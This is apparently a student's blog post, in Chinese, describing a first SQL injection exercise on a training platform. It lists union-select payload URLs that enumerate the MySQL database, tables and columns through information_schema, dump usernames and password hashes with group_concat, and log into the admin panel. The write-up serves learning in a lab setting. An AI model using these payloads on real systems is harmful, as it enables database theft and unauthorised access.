第一次MySQL的SQL注入实验

测试平台:https://www.mozhe.cn/news/detail/324

上完SQL注入的第一节课过来对着笔记一步一步来做。。

1.首页面上没有id=XXX的东西,看见“平台维护通知”,点开

 2.终于看到了ID=1了,(*^▽^*)

 3.尝试and 1 =1 ,1=2 确认可以注入

4.使用 order by 一个数一个数猜,猜到5发现不行了,所以应该列数是4

 5:使用union语句联合查询 因为MySQL是

 

database():数据库名

user():数据库用户

version():数据库版本

@@version_compile_os:操作系统

 

因此在union 后面的Select语句上加上database()让他爆出来库名

http://219.153.49.228:49546/new_list.php?id=-1 union select 1,database(),3,4

 库名直接出来了是mozhe_Discuz_StormGroup

 

之后要对这个库去查询表的名称

含义:

information_schema.tables:

information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

 information_schema.columns:

information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

 

Table_schema:数据库名

Table_name:表名

Column_name:列名

 

因此:构建 http://219.153.49.228:49546/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

出来了表名:StormGroup_member

 

接下来一鼓作气,找到列名:  

http://219.153.49.228:42900/new_list.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name='StormGroup_member'

只显示一个ID

(⊙o⊙)…,只有一个ID,如何能让他列出来所有表名呢,可以使用group_concat() 他的作用是把所有当前表名的自断直接连接成一行,生成后的表段为

http://219.153.49.228:42900/new_list.php?id=-1 union select 1,(select group_concat(column_name)),3,4 from information_schema.columns where table_name='StormGroup_member'

 

什么都拿到了,于是兴冲冲的直接查表

然后MD5解密:

然后。。就登录失败了

 

。。。。。我知道了,肯定还是没有加group_concat()的原因,发现了另外一个隐藏

http://219.153.49.228:42900/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

成功进入后台,拿到Key值

 

posted @ 2020-03-18 00:32  Yeung丶  阅读(208)  评论(0编辑  收藏  举报